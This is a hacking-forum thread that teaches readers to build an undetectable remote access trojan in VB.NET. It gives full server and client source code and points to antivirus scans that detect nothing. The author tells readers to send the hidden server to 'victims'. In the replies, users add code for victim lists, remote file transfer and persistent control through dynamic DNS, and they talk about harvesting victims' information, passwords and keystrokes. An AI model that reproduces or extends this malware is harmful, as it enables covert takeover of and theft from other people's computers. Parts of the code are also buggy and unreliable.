

Forum:[Hack Forums](#)

Thread: [\[TuT\]\[VB.NET\] How to make a basic FUD RAT \[READ!\]](#)

--([S7N])-- - January 10, 2010, 10:56 pm

Visual Basic.NET RAT Tutorial

Note: Original guide:

<http://www.freesteam.org/forums/tutorials/3024-visual-basic-net-rat-tutorial.html>

I'd suggest you read this one as it is much more organized. So, here goes:

What is a RAT?

First off a RAT is a computer program that allows you to remotely access the computer running a server file, the RAT consists of 2 programs a client and a server. You run the client which connects to a port on a remote IP running the server.

Wikipedia's description: http://en.wikipedia.org/wiki/Remote_Administration_Tool

RAT stands for Remote Access Trojan/Tool

The server is set to listen on a specific port, high numbers such as 16995 and other 5 digit numbers are best so the port is not easily recognized by certain computer applications. It's also best to stay away from 12345 and 54321 etc....

But now that you understand the basics(hopefully)

This is what you need to do to create and program your own

:::Server:::

1. Download Visual Basic .NET Express or buy/hack Visual Studio Pro.

Now create a new Windows Application and name it "server". Double click the form to edit the code. At the top of the code window put:

Code Imports System.Net

Imports System.Net.Sockets

Imports System.IO

Imports Microsoft.Win32

All this does is allow easy access to certain commands, for example system.io allows access to file commands.

file.open(path)

Compared to:

System.IO.File.Open(Path)

So now we need to create a listening socket which opens a port on the host computer with this. Place this in the Public Class Form1 code before Form1_load

Code Dim port As Integer = 6961

```
Dim tcpc As New TcpListener(port)
Now a new TCP client:
```

```
Code Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
```

Now we need a function that allows us to enable listening on the port when it is called, place this below the code you just wrote:

```
Code Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
```

```
End Sub
```

What this does is creates a function to call which try to allow the listener to start listening and when the client tries to connect it accepts it and if it fails it just retries again.

Now the complicated part. Now we need to create a network stream that allows us to send and receive data from the client and place it in a subroutine:

```
Code Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
```

```
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
```

This script is actually quite simple, all it does is say if the listener is connected to a socket it redirects the connection to a socket in the server

And if the server socket is connected it tries to receive the sockets data stream.

It then defines "bit" as a byte readable by the server data stream and gets its total size, it then tells the socket to read the incoming data, once it is all received it creates a string used to receive string data sent by the client.

It then defines a string array that splits string data received and the id sent so the server knows what command to execute determined by the if statement.

This next if statement says if the first string in the array "id" is equal to 0 then a string is defined as the second string in the array "id" and then a process is started from the path depicted from id(1) the second string in that array.

So now all we need to do is tell the program to run these functions in the form1_load command that is already present, in that sub form put this code:

```
Code While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
```

```
While True
check()
End While
Me.Hide()
```

This allows the server to start listening and once it has found a connection it runs the check() function to perform the actions that allows the socket to read the data then hides the form for added security.

now your server is finished and we must now create the client which is a bit more complicated believe it or not :/

..:Client:..

Again create a new Windows Forms Application project in Visual Basic and on the form place:3
Textboxes
2 buttons
3 labels

Give Button1 the text "Connect" (without quotes) and give Button2 the text "Send" (without quotes).

Now before anything special happens we need our basic code, double click Form 1 to edit the code, Now like in the server above everything in the code, insert the following code:

```
Code Imports System.Net
Imports System.Net.Sockets
Now in Public Class Form1 put:
```

```
Code Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
```

Like before this defines a TCP client to connect to the server.

It creates a non-text variable for the IP address for the socket to connect to, for some reason Microsoft is just gay and doesn't allow you to use a string with the socket.connect() command do all this does is turn a string into an IP address then it defines a variable called port with the value 6961 which can be changed.

Now the fun stuff (sarcasm)

Below all your variable definitions place the code

```
Code Private Sub connect()  
ip = IPAddress.Parse(TextBox1.Text)  
port = TextBox2.Text  
Try  
sock.Connect(ip, port)
```

```
Catch ex As Exception  
MsgBox("Can not connect to designated ip at this time")  
End Try  
End Sub
```

This creates a sub named 'connect()' when it is called it sets the value of "IP" to what you have written in Textbox1 and then port is set to what you have in Textbox2.

Now with these 2 values the socket naked sock tries to connect to the IP and port that where defined and if the connection fails an error message is shown saying "Can not connect to designated IP at this time" feel free to change that to whatever you may like. Now we need a sub to be called when we want to send data to the connected socket.

```
Code Private Sub dat(ByVal dat As String)  
Dim nstream As NetworkStream = sock.GetStream()  
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)  
nstream.Write(bit, 0, bit.Length)  
End Sub
```

So now when you call dat() you need a string in the () to be sent but well worry about that later, it defines nstream as "sock's" data stream then defines bit as a byte that encrypts the text into bytes that can be sent over to the server, then the data stream sends the string now go back to the design of form 1 where you inserted the textboxes and stuff then double click button1 and in between the brackets of the button1_click put this code

```
connect()
```

This calls the function connect() which allows the socket to try and connect to the designated port/IP

Now do the same thing to button 2, and for the button2_click put

```
dat("0*" + TextBox3.Text)
```

This calls the dat() function and attaches the string "0*" which is the ID of the string being sent to the server plus the text in textbox 3 which should be a path to an application such as "c:\windows\virus.exe" or something or it can also be a webpage you want opened like "<http://www.freesoftwarestoinfectmycomputerwithviruses.com>" without the quotes of course. So the string sent would look like this.

```
0*http://www.freesoftwarestoinfectmycomputerwithviruses.com
```

The is needed to separate the string once it is decoded in the server, so if you want to send more

than the id and 1 string you need to separate them with
Like this:

```
dat("0*" + TextBox3.Text + "*" + TextBox4.Text)
```

This would do nothing as there is no textbox 4 because this is only an example, and since there is no textbox 4 an error would be generated, but that is how you would do it.

Now that's basically it, this is basically it for the client. this script is very versatile as dat() can be called on any button press/key press etc... so if you want more features lets say one create a message on the computer with the server you would use this in a separate button press pointing to another textbox like this

```
dat("1*" + TextBox4.Text)
```

Which just send the text with a new id to the server, but you must modify the server to recognize that id as well

So to do that the code

```
Code Private Sub check()  
If sock.Connected = True Then  
sock.SendTimeout = 5000  
Try  
Dim nstream As NetworkStream = sock.GetStream  
Dim bit(sock.ReceiveBufferSize) As Byte  
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))  
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)  
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
```

```
If id(0) = 1 Then  
Dim stri As String = id(1)  
Process.Start(stri)  
End If
```

```
Catch ex As Exception  
check()  
End Try  
End If  
End Sub
```

Should now be:

```
Private Sub check()  
If sock.Connected = True Then  
sock.SendTimeout = 5000  
Try  
Dim nstream As NetworkStream = sock.GetStream  
Dim bit(sock.ReceiveBufferSize) As Byte  
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))  
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)  
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
```

```
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
```

```
If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If
```

```
Catch ex As Exception
check()
End Try
End If
End Sub
```

This has been added:

```
If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If
```

So if id(0) is 1 which is the command id it creates a message box with the text sent after the id so it would be whatever you made textbox 3 say in your client

So now you should save and build both the server and the client because your ready to go, this is all my code hand written and thought of by me so there shouldn't be another method like this.

NOW to use this application, send the server to somebody and once they have opened it, it should start listening on the port defined in the server, which is 69691 but can be changed, so once you have somebody running the server you need there IP, look on the web for tutorials on how to find an IP through email, aim, MSN, or even message boards

So now once you have the victim's, uhh, I mean host's IP open the client and in textbox 1 put the IP address and in textbox 2 put the port, now click connect, an error should come up if you cannot connect, now once connected put a URL or path in textbox 3 and hit send, this should open a webpage on the hosts computer.

-----SERVER-----

```
Code Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
```

```
Public Class Form1
```

```
Dim port As Integer = 6961
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)
Dim place As String
```

```
Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try
```

```
End Sub
```

```
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
```

```
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
```

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
```

```
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
```

```
While True
check()
End While
Me.Hide()
End Sub
End Class
```

-----Client-----

```
Code Imports System.Net
Imports System.Net.Sockets
```

```
Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
```

```
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
```

```
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub
```

```
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
```

```
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
connect()
End Sub
```

```
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
```

```
dat("0*" + TextBox3.Text)
End Sub
End Class
```

[color=#32CD32 ([Click to View](#))Virus Scan Results:[/color]]
Client:
File Info

Report date: 2010-02-24 12:35:8
File name: RATclient.exe
File size: 867
Detection rate: 0 on 21
Status: CLEAN

Detections

a-squared - -

Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo Antivirus - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

Server:
File Info

Report date: 2010-02-24 12:38:20
File name: Ratserver.exe
File size: 1092
Detection rate: 0 on 21
Status: CLEAN

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo Antivirus - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -

~No0b

Soul Collector - January 10, 2010, 11:04 pm

Really nice, going to add this to my guide list.

..Novalok:. - January 10, 2010, 11:06 pm

Nice tut, will try this out tomorrow

[Eprouvez] - January 10, 2010, 11:28 pm

Well done. I haven't seen a tut like this on HF good to see at least someone is inputting into the community unlike others who keep ask and expecting help. Cheers.

--**([-S7N-])**-- - January 10, 2010, 11:59 pm

(Jan 11, 2010 12:04 AM)Soul Collector Wrote: [\[CITE\]](#) Really nice, going to add this to my guide list. it's an honour :P

Moscow - January 11, 2010, 12:05 am

u hell didn't write dis on ur own and if u did, kewl! ^^

--**([-S7N-])**-- - January 11, 2010, 12:07 am

well, of course i didnt, at least i understand it and know what it says and i didnt want to write it all over again, so, copy/paste ftw!

[Eprouvez] - January 11, 2010, 12:14 am

(Jan 11, 2010 01:07 AM)No0b Wrote: [\[CITE\]](#) well, of course i didnt, at least i understand it and know what it says and i didnt want to write it all over again, so, copy/paste ftw!

So, did you write the tutorial or not?

Because give credits if you didn't. Ain't nothing worse than stealing someones code and claiming it as your own!

--**([-S7N-])**-- - January 11, 2010, 12:22 am

FYI, under the title, i gave the link to the original guide.

i made it more organised, removed the typo's (trust me, it has a hell of a lot of typos), also put the codes in code boxes, to make the guide more readable.

[Eprouvez] - January 11, 2010, 12:58 am

Hmmm... Didn't see that before. Stupid iPod.

You should've re-wrote the tutorial, made it your own, and then you could take more credit.

--**([-S7N-])**-- - January 11, 2010, 1:38 am

(Jan 11, 2010 01:58 AM)Eprouvez Wrote: [\[CITE\]](#) Hmmm... Didn't see that before. Stupid iPod.

You should've re-wrote the tutorial, made it your own, and then you could take more credit.

meh, maybe i will on my next tut :P

iCloud - January 11, 2010, 3:09 am

Wouldn't it be better to do it in Vb6 with Winsock?

[Eprouvez] - January 11, 2010, 4:05 am

(Jan 11, 2010 04:09 AM)iCloud Wrote: [\[CITE\]](#) Wouldn't it be better to do it in Vb6 with Winsock? WinSock sucks dick.

Junction - January 11, 2010, 4:28 am

Its great and easy tutorial and for beginners too.... :)

pp_love - January 11, 2010, 4:31 am

The code is ok., i sponse. When you re-write the tutorial you should add multi-thread to it :P

Jeff. - January 11, 2010, 5:16 am

Great tut o.o surely going to use this ^-^

hackurheart - January 11, 2010, 8:36 am

bookmarked :D

thanks for thuis

Muscles Glasses - January 11, 2010, 9:06 am

Going to try this out, will report back whether its a success or not
//EDIT yeah its ok for a basic structure to work from.. good job

Incomplete - January 11, 2010, 10:24 am

Is this FUD? And have you any screenies?

CraizerVFX - January 11, 2010, 11:52 am

nice tutorial, i didnt read the code, so i will ask: does it use direct or reverse connection?

--([S7N])-- - January 12, 2010, 4:23 am

(Jan 11, 2010 11:24 AM)Talish Wrote: [\[CITE\]](#) Is this FUD? And have you any screenies?
im not sure if its FUD, didnt scan the exe... probably not... :P

Eth0r - January 13, 2010, 10:02 am

Thanks For the tuto ?

Icy Wind - January 13, 2010, 1:25 pm

Have seen the other thread before, and it's a direct connection RAT i believe.

0xE9 - January 13, 2010, 1:28 pm

nice tut, give credits pls, man thise is a very very basic rat with like no feats but some1 could easily add dem in

--([S7N])-- - January 15, 2010, 2:43 am

bump....

2 short 2 short

-Master - January 16, 2010, 4:16 pm

Very Very nice keep the good work up mate.

-Master ?

T3KA - January 19, 2010, 7:42 am

Very good Tut Man Tx :)

The-Black-Raven - January 19, 2010, 8:45 pm

working on uber modifying this and i can add new commands but i cant stop the server :? why -_-

BETAhr - January 19, 2010, 9:38 pm

Petty nice tutorial, Thanks!, Keep up the good work!

--([S7N-])-- - January 19, 2010, 10:50 pm

thanks for the support guys..

I'm working on more tutorials.

Look at my sig :P

--([S7N-])-- - January 20, 2010, 12:37 am

Apparently, it IS FUD...

Scanned the code in .txt format, here is the results:

<http://www.virustotal.com/analysis/64a6a4c1ada18ec4e06c1e11497bdd26251396c4b5c45107c7bd97ac8e665930-1263976533>

Code File RAT_source.txt received on 2010.01.20 08:35:33 (UTC)

Current status: Loading ... queued waiting scanning finished NOT FOUND STOPPED

Result: 0/41 (0%)

a-squared 4.5.0.50 2010.01.20 -
AhnLab-V3 5.0.0.2 2010.01.19 -
AntiVir 7.9.1.142 2010.01.19 -
Antiy-AVL 2.0.3.7 2010.01.19 -
Authentium 5.2.0.5 2010.01.20 -
Avast 4.8.1351.0 2010.01.19 -
AVG 9.0.0.730 2010.01.19 -
BitDefender 7.2 2010.01.20 -
CAT-QuickHeal 10.00 2010.01.20 -
ClamAV 0.94.1 2010.01.20 -
Comodo 3644 2010.01.20 -
DrWeb 5.0.1.12222 2010.01.20 -
eSafe 7.0.17.0 2010.01.19 -
eTrust-Vet 35.2.7247 2010.01.20 -
F-Prot 4.5.1.85 2010.01.19 -
F-Secure 9.0.15370.0 2010.01.20 -
Fortinet 4.0.14.0 2010.01.20 -
GData 19 2010.01.20 -
Ikarus T3.1.1.80.0 2010.01.20 -
Jiangmin 13.0.900 2010.01.20 -
K7AntiVirus 7.10.950 2010.01.18 -
Kaspersky 7.0.0.125 2010.01.20 -
McAfee 5866 2010.01.19 -
McAfee+Artemis 5866 2010.01.19 -
McAfee-GW-Edition 6.8.5 2010.01.20 -
Microsoft 1.5302 2010.01.20 -
NOD32 4788 2010.01.20 -
Norman 6.04.03 2010.01.19 -
nProtect 2009.1.8.0 2010.01.20 -
Panda 10.0.2.2 2010.01.19 -
PCTools 7.0.3.5 2010.01.19 -
Prevx 3.0 2010.01.20 -
Rising 22.31.02.04 2010.01.20 -

Sophos 4.49.0 2010.01.20 -
Sunbelt 3.2.1858.2 2010.01.20 -
Symantec 20091.2.0.41 2010.01.20 -
TheHacker 6.5.0.7.156 2010.01.20 -
TrendMicro 9.120.0.1004 2010.01.20 -
VBA32 3.12.12.1 2010.01.20 -
ViRobot 2010.1.20.2146 2010.01.20 -
VirusBuster 5.0.21.0 2010.01.19 -
cant believe it - _ -

--([S7N-])-- - January 21, 2010, 2:31 am

Bump~~~

770+ view and only 30 comments? Come on guys, at least appreciate this tutorial..
It's FUD!

BETAhkr - January 21, 2010, 9:44 am

A lot are FUD bro, But thank you for this tutorial, Screen images would of been nice, But you still did a good job writing it.

--([S7N-])-- - January 21, 2010, 10:11 am

Well, I would add screen shots, but i can't edit it anymore, so screw it. :P

Sam Fisher - January 21, 2010, 10:28 am

Excellent tutorial, tons of great detail.

--([S7N-])-- - January 21, 2010, 10:42 am

(Jan 21, 2010 11:28 AM)Octane.R Wrote: [\[CITE\]](#) Excellent tutorial, tons of great detail.
Thanks, for the +Rep.
~BUMP~

TehShrink - January 21, 2010, 3:14 pm

(Jan 21, 2010 03:31 AM)No0b Wrote: [\[CITE\]](#) Bump~~~

770+ view and only 30 comments? Come on guys, at least appreciate this tutorial..
It's FUD!Well, if you insist.

Thank you for your nice tutorial. ?

Gorgon825 - January 21, 2010, 3:15 pm

looks great if only i could portforward...

homework - January 21, 2010, 4:35 pm

This is good stuff, great job!

--([S7N-])-- - January 21, 2010, 9:08 pm

Thanks for the support guys, I will try and make this less basic and more pro, later :P

bahno777 - January 22, 2010, 1:44 am

IT WORK ONLY ON LOCAL PC LIKE 127.0.0.1 , maybe on 192.168.1.10... but via internet it doesn't work ;)

--([S7N-])-- - January 22, 2010, 1:48 am

(Jan 22, 2010 02:44 AM)bahno777 Wrote: [\[CITE\]](#)

IT WORK ONLY ON LOCAL PC LIKE 127.0.0.1 , maybe on 192.168.1.10... but via internet it doesn't work ;)

Yeah, well, like I said, it's a BASIC Remote Administration Tool, not a RAT like Cerberus!?

KnobMoinster - January 22, 2010, 4:40 am

Very interesting tut bro :D

Keep it up.

bikezone - February 4, 2010, 10:25 am

really nice tut noob thnx

daULTRAKhaos - February 4, 2010, 5:03 pm

Only problem is that the servers ports need to be open to receive commands.. lol

--([S7N])-- - February 4, 2010, 9:12 pm

(Feb 4, 2010 06:03 PM)daULTRAKhaos Wrote: [\[CITE\]](#) Only problem is that the servers ports need to be open to receive commands.. lol

You need to port forward for that. Look up a tutorial on port forwarding

(Feb 4, 2010 11:25 AM)bikezone Wrote: [\[CITE\]](#) really nice tut noob thnx

Glad you liked it.

Valzidox - February 5, 2010, 1:49 am

Seems full proof. I will try it out and post results when I get in from College.

Thanks for the noob-proof tutorial. :)

--([S7N])-- - February 5, 2010, 1:57 am

(Feb 5, 2010 02:49 AM)Judaist Wrote: [\[CITE\]](#) Seems full proof. I will try it out and post results when I get in from College.

Thanks for the noob-proof tutorial. :)

Glad you liked it, please post your feedback as soon as you can.

pushl %ebp - February 5, 2010, 2:13 am

This looks really good. Thanks for sharing this tutorial and most importantly, posting the original source. ?

--([S7N])-- - February 5, 2010, 2:21 am

(Feb 5, 2010 03:13 AM)h4ckingURLife Wrote: [\[CITE\]](#) This looks really good. Thanks for sharing this tutorial and most importantly, posting the original source. ?

Yeah, I don't leech without credits.

Thanks for the reply.

Ex-Coder - February 5, 2010, 2:35 am

Thanks mate. This tutorial inspires me :)

--([S7N])-- - February 5, 2010, 3:02 am

(Feb 5, 2010 03:35 AM)h3lLx0x Wrote: [\[CITE\]](#) Thanks mate. This tutorial inspires me :)

Glad to have inspired you ?
Who knows, I might have helped you become a famous RATter :P

corey - February 5, 2010, 10:20 am

Will this work outside a LAN if both server/client have port 6961 open?

optiikzz - February 5, 2010, 12:12 pm

thanks for the amazing tutorial i will surely use this is the future.

HμstleR - February 5, 2010, 12:13 pm

This is ridiculous im about to go make one now! :)

--([S7N-])-- - February 5, 2010, 9:53 pm

(Feb 5, 2010 01:13 PM)DμKe Wrote: [\[CITE\]](#) This is ridiculous im about to go make one now! :)
LOL, feel free to post your results here.

(Feb 5, 2010 11:20 AM)corey Wrote: [\[CITE\]](#) Will this work outside a LAN if both server/client have port 6961 open?

Yeah, I believe it will work.

NoName901 - February 6, 2010, 4:29 am

thanks, i have test and it's a good exemple

--([S7N-])-- - February 6, 2010, 4:38 am

So, you tested it? Did it work?

HaxMuch - February 6, 2010, 7:37 am

Very nice guide.

One thing you could do is to create a basic PHP script that displays the persons ip who is visiting the page, then using `webclient.downloadstring(url)` to get their IP using the server. You could make it email it to you or automatically pastebin it etc...

But thanks a lot for this :)!

S4NGOKU - February 6, 2010, 10:52 am

OMGGG VERY NICE IL LIKEEEEE !!!!!

S4NGOKU - February 6, 2010, 10:53 am

OMGGG VERY NICE IL LIKEEEEE !!!!!

Learn4Life - February 23, 2010, 6:14 am

Bump for this nice tutorial, that i funded on this section.
It works !!

--([S7N-])-- - February 24, 2010, 6:52 am

Bump, tutorial updated!

TheBlackMarket - February 24, 2010, 7:25 am

This is a really nice Tutorial! Thanks Dude, Very Helpful!.

GerraT177 - February 24, 2010, 8:20 am

Very Nicee! :D GOOD JOB!!!!

leetsg - February 24, 2010, 8:33 am

Awesome, thanks for this. little difficult for me though :L

proisr - February 24, 2010, 8:40 am

I gotta say - the best RAT-making guide I've ever seen!

Could you explain more about how can I add my own commands? I didn't understand the part with the split() and the id().

edit: How can I add each victim that opened my server to some kind of a list in my client, like Cybergate and all those other public RATs.

I thought about making my client as a little server 2, and the victim's server will try to connect me, and if he succeed he will add his IP+PCname+etc... to a ListBox in my client.

corey - February 24, 2010, 10:04 am

(Feb 24, 2010 09:40 AM)proisr Wrote: [\[CITE\]](#) I gotta say - the best RAT-making guide I've ever seen! Could you explain more about how can I add my own commands? I didn't understand the part with the split() and the id().

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I thought about making my client as a little server 2, and the victim's server will try to connect me, and if he succeed he will add his IP+PCname+etc... to a ListBox in my client.

This can be done really easily. You will need a list view for your project. once you've added the list view & all the columns and stuff. add this code to Private Sub Check()

Code If id(0) = 8 Then

Dim lvi As New ListViewItem

lvi.Text = id(1)

lvi.SubItems.Add(id(2))

lvi.SubItems.Add(id(3))

lvi.SubItems.Add(id(4))

ListView1.Items.Add(lvi)

End IfThen when your server connects. Have it send this code first.

Code 0*USER NAME*IP*Other string?*File Version (of assembly)You can edit it to your liking. Then when you need to select a single user, Just do a username or ip check. like

Code send this from server side'

8*username of selected client*Command you want doneand then on the client side, where the data is received and read, Make an if function to check the username, If the names match, run the command. if not. dispose of it.

Edit, this is a picture of it in action.

Spoiler ([Click to View](#))

[img]http://i46.[censored].com/16c1iea.jpg[/img]

proisr - February 24, 2010, 10:54 am

(Feb 24, 2010 11:04 AM)corey Wrote: [\[CITE\]](#) This can be done really easily. You will need a list view for your project. once you've added the list view & all the columns and stuff. add this code to Private Sub Check()

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Edit, this is a picture of it in action.

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Wasn't so clear :\

What the id() means?

And more important- how can I add my own functions/commands to the server so when I'll call it from the client the server will do the command?

edit: I think you didn't understand me.

I want the server to notify my client when his online (in realtime, no with email/ftp).

So when the server is online he will be added to my victims list on my client, and when the server is down he will removed from the list.

Stile - February 24, 2010, 11:12 am

Great Tutorial I will Try This ...

corey - February 24, 2010, 11:50 am

(Feb 24, 2010 11:54 AM)proisr Wrote: ([CITE](#)) Wasn't so clear :\

What the id() means?

And more important- how can I add my own functions/commands to the server so when I'll call it from the client the server will do the command?

edit: I think you didn't understand me.

I want the server to notify my client when his online (in realtime, no with email/ftp).

So when the server is online he will be added to my victims list on my client, and when the server is down he will removed from the list.Okay, let me explain it for you.

ID is like a flag, And if an id = a certain integer, It will raise special events.

The default function is for programs and sites

Code If id(0) = 0 Then 'This is a flag, It is used to tell different commands from eachother

Dim stri As String = id(1) This is just taking the command and making it into a variable string

Process.Start(stri) 'This starts the process/site

End IfSo if you were the manager of all the clients. And you wanted them all to mass visit your site (Say Google). you would send this string of data to all the clients.

Code 0*http://www.google.comThis will make every bot/Client/server/whatever open Google.com in the default web browser. so if it's FireFox (like mine). It will open Google.com in FireFox.

If you wanted to make your own command(s), Like I did in this image. Spoiler ([Click to View](#))

[img]http://i46.[censored].com/16c1iea.jpg[/img]

you will need to add it to the server to pick up the id(flag) and then what to do in the case of this flag.

```
Code If id(0) = 1 Then
```

```
msgbox(id1)
```

```
End If
```

So to make a message box pop up, you would send this string to all your clients.

```
Code 1*MSGBOX text here!
```

Now for adding the clients to the list view, you need this.

```
Code If id(0) = 2 Then
```

```
Dim lvi As New ListViewItem 'I've removed the sub items to make this more simple
```

```
lvi.Text = id(1)
```

```
ListView1.Items.Add(lvi)
```

```
End If
```

So, When the client starts, and connects, make it send this

```
Code 2*environment.username
```

This will make the list view control be populated by clients user names every time on connects.

As for removing a name, Make a ping-pong type command.

Make the server (thats you) send a command, like this

```
Code 3*pong
```

Then the client should reply like this

```
Code If id(0) = 3 Then and id(1) = "pong" then 'I'm writing this outside VS, So it may error
```

```
dat(3*User name*PONG)
```

```
End If
```

So the server should then pickup the clients response of "3*username*PONG". And it should update the list view with all clients who responded.

This isn't very well worded. As i'm time constrained right now, have to go to the store to buy groceries. (lol)

Televisiontubies - February 24, 2010, 11:56 am

Thank And good job i test this. (sorry i am french)

--([S7N])-- - February 25, 2010, 2:39 am

Thanks to corey for explaining proisr.

Others, thanks for your feedback!

dnsm - February 25, 2010, 2:46 am

Great TuT No0b! I'll try this out when I get home ?

proisr - February 25, 2010, 8:15 am

Thank you correy, I've understand how to add my own functions.

About the victims list- I think I'll ask some friend of mine for help making a data base for the server (he is a WEB programmer).

I want to get much info as possible from my victims and save it in nicely tables.

How can I send and receive files through my sclient/server?

Like a remote file manager (So I'll could Upload/Download files) .

--([S7N])-- - February 25, 2010, 8:19 am

(Feb 25, 2010 09:15 AM)proisr Wrote: [CITE](#) Thank you correy, I've understand how to add my own functions.

About the victims list- I think I'll ask some friend of mine for help making a data base for the server (he is a WEB programmer).

I want to get much info as possible from my victims and save it in nicely tables.

Good luck on that.

(Feb 25, 2010 09:15 AM)proisr Wrote: [\[CITE\]](#) How can I send and receive files through my sclient/server?

Like a remote file manager (So I'll could Upload/Download files) .

I don't know, I haven't ventured the depths of RAT programming, please wait for corey :P

corey - February 25, 2010, 10:33 am

(Feb 25, 2010 09:15 AM)proisr Wrote: [\[CITE\]](#) How can I send and receive files through my sclient/server?

Like a remote file manager (So I'll could Upload/Download files) .

Yes, It can be done.

You need two things before you can actually send the file to the server/client

The file name & the file size

You would need to make a new command/function for this. Lets call sending a file 3*. And receiving a file 4*.

So you want to send a file, You need to select a file. Lets say I wanted to send this file

Code C:\Test.exe would send this

Code 3*C:\test.exe*1024What I sent above was like this. First it was the id of the command/function. Then I defined the file I want to send. So the client will make an empty file in C:\ and name it Test.exe. Then it will know that the file should be only 1024 bytes.

The client will also know that the next file related command (lets say "5*") will be 1024 bytes of data. So I send

Code 5*1234567890 'Pretend this is a 1024 byte string)The client would write "1234567890" or id(1) to the file.

Or to make this more simple. you could make it all one send. like this

Code 3*C:\Test.exe*1024*1234567890So id(1) is the file location + the file name

id(2) is the file size, so the client wont keep waiting for the server to send more data. and can stop writing after 1024 bytes.

id(3) is the entire files data. So it will write 1234567890 to the file.

Edit: Also on the tables and the victims connecting. you can make a table in the program. Make it connection based. And find out anything you want. like mine finds out then name, Machine name, IP address, Active window, Operating system, if its busy, if it has a webcam, keylogger active, if it's had its Firefox/other passwords stolen. you can add as many bits of information you want to the table. And it will all be on the fly, and wont deal with ASP/PHP. If you need I will help you with it.

proisr - February 25, 2010, 11:18 am

(Feb 25, 2010 11:33 AM)corey Wrote: [\[CITE\]](#) Yes, It can be done.

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Oh I think I understand now the id() method, I've learned about it in my school (robotics lessons), the * it's just a sign for the program to know where to split the string right? and how to read it.

About the remote file manager - can I use Open&save file.dialog functions right? to find out the path&size of the file right?

Now I just now how to open file from the victim on the victim PC.

Victims table - I know how to find out the needed details from a PC, but how can I make the server to notify me when he's online, do I need to set my client IP on the server?

If true, I think this is one of the reasons that the famous RATs use NO-IP service- so the server will always find the client and notify him when logged in.

corey - February 25, 2010, 12:39 pm

(Feb 25, 2010 12:18 PM)proisir Wrote: [CITE](#) If true, I think this is one of the reasons that the famous RATs use NO-IP service- so the server will always find the client and notify him when logged in. No-ip allows you to have a dynamic (Changes) IP address but still connect to your clients.. The No-ip is basically a redirect. So instead pointing your rats towards your dynamic ip, and after a week or so; They cannot connect. The no-ip will serve as a Static ip for you to always maintain a connection. While not losing all your clients when your IP changes.

As for adding the table. I'm going to make you a tut, With pics and all. So I can show you how to do it using the id() function.

TheBlackMarket - February 25, 2010, 12:40 pm

Awesome Mate! I love the basic FUD RAT <3.

corey - February 25, 2010, 12:59 pm

Okay, so this doesn't need pictures. Only one. Here it is. (Actually two)

Spoiler [\(Click to View\)](#)

So this is before I've sent ANY data

[img]http://i47.[censored].com/102uof6.jpg[/img]

And this is after I've hit the Default button many times

[img]http://i49.[censored].com/30vd37a.jpg[/img]

This is a very basic way to do it using splits.

Here is what you need to add to the server:

Code If id(0) = 0 Then

```

Dim lvi As New ListViewItem
lvi.Text = id(1)
lvi.SubItems.Add(id(2))
lvi.SubItems.Add(id(3))
lvi.SubItems.Add(id(4))
ListView1.Items.Add(lvi)

```

End If That is for receiving data, and adding it to the user table.

Now, Open your client, and put this under a button click event.

And add the subs somewhere.

Code 'First declare a string :3

